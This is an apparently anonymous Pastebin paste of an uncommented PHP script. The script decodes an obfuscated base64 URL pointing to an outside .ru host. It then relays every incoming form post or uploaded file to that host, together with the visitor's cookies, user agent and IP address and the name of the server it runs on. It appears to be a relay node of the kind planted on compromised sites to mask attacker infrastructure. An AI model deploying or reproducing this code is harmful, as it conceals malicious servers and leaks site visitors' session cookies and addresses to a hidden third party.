Advertisement
Guest User

Untitled

a guest
May 27th, 2015
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.36 KB | None | 0 0
  1. <?php
  2. $url = parse_url(base64_decode("aHR0cDovL2FwYW5lbC5vcmcucnUvaW9ub2N1YmVfL3Rhc2tzLnBocA=="));
  3. if (!isset($url['port'])) {
  4. $url['port'] = 80;
  5. }
  6. if (($real_server = fsockopen($url['host'], $url['port'])) === false) {
  7. die('ERROR');
  8. }
  9.  
  10. $request = "POST {$url['path']} HTTP/1.0\r\n";
  11. $request .= "Host: {$url['host']}\r\n";
  12. $request .= "Cookie: {$_SERVER['HTTP_COOKIE']}\r\n";
  13. $request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
  14. $request .= "X-Forwarded-For: {$_SERVER['REMOTE_ADDR']}\r\n";
  15. $request .= "Connection: close\r\n";
  16.  
  17. if ($_SERVER["CONTENT_TYPE"] == "application/x-www-form-urlencoded") {
  18. if (($data = file_get_contents('php://input')) === false) {
  19. die('ER_1');
  20. }
  21. $data .= "&ip=" . urlencode($_SERVER['REMOTE_ADDR']) . "&layer=" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . "";
  22.  
  23. $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
  24. $request .= "Content-Length: " . strlen($data) . "\r\n";
  25. fwrite($real_server, $request . "\r\n" . $data);
  26.  
  27. $result = '';
  28. while (!feof($real_server))
  29. $result .= fread($real_server, 1024);
  30. fclose($real_server);
  31. echo substr($result, strpos($result, "\r\n\r\n") + 4);
  32. } else {
  33.  
  34. $filePath = $_FILES['data']['tmp_name'];
  35. $fileName = basename($_FILES['data']['name']);
  36. $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
  37.  
  38. $fileHeaders = "--" . $boundary . "\r\n";
  39. $fileHeaders .= "Content-Disposition: form-data; name=\"data\"; filename=\"" . $fileName . "\"\r\n";
  40. $fileHeaders .= "Content-Type: " . mime_content_type($filePath) . "\r\n\r\n";
  41. $fileHeadersTail = "\r\n--" . $boundary . "--\r\n";
  42.  
  43. $contentLength = strlen($fileHeaders) + filesize($filePath) + strlen($fileHeadersTail);
  44.  
  45. $headers = $request;
  46. $headers .= "Content-type: multipart/form-data, boundary=" . $boundary . "\r\n";
  47. $headers .= "Content-length: " . $contentLength . "\r\n\r\n";
  48. $headers .= $fileHeaders;
  49.  
  50. fputs($real_server, $headers);
  51.  
  52. $fp2 = fopen($_FILES['data']['tmp_name'], "r");
  53. while (!feof($fp2)) {
  54. fputs($real_server, fgets($fp2, 1024 * 100));
  55. }
  56. fclose($fp2);
  57. fputs($real_server, $fileHeadersTail);
  58.  
  59. $result = '';
  60. while (!feof($real_server))
  61. $result .= fread($real_server, 1024);
  62. fclose($real_server);
  63. echo $result;
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement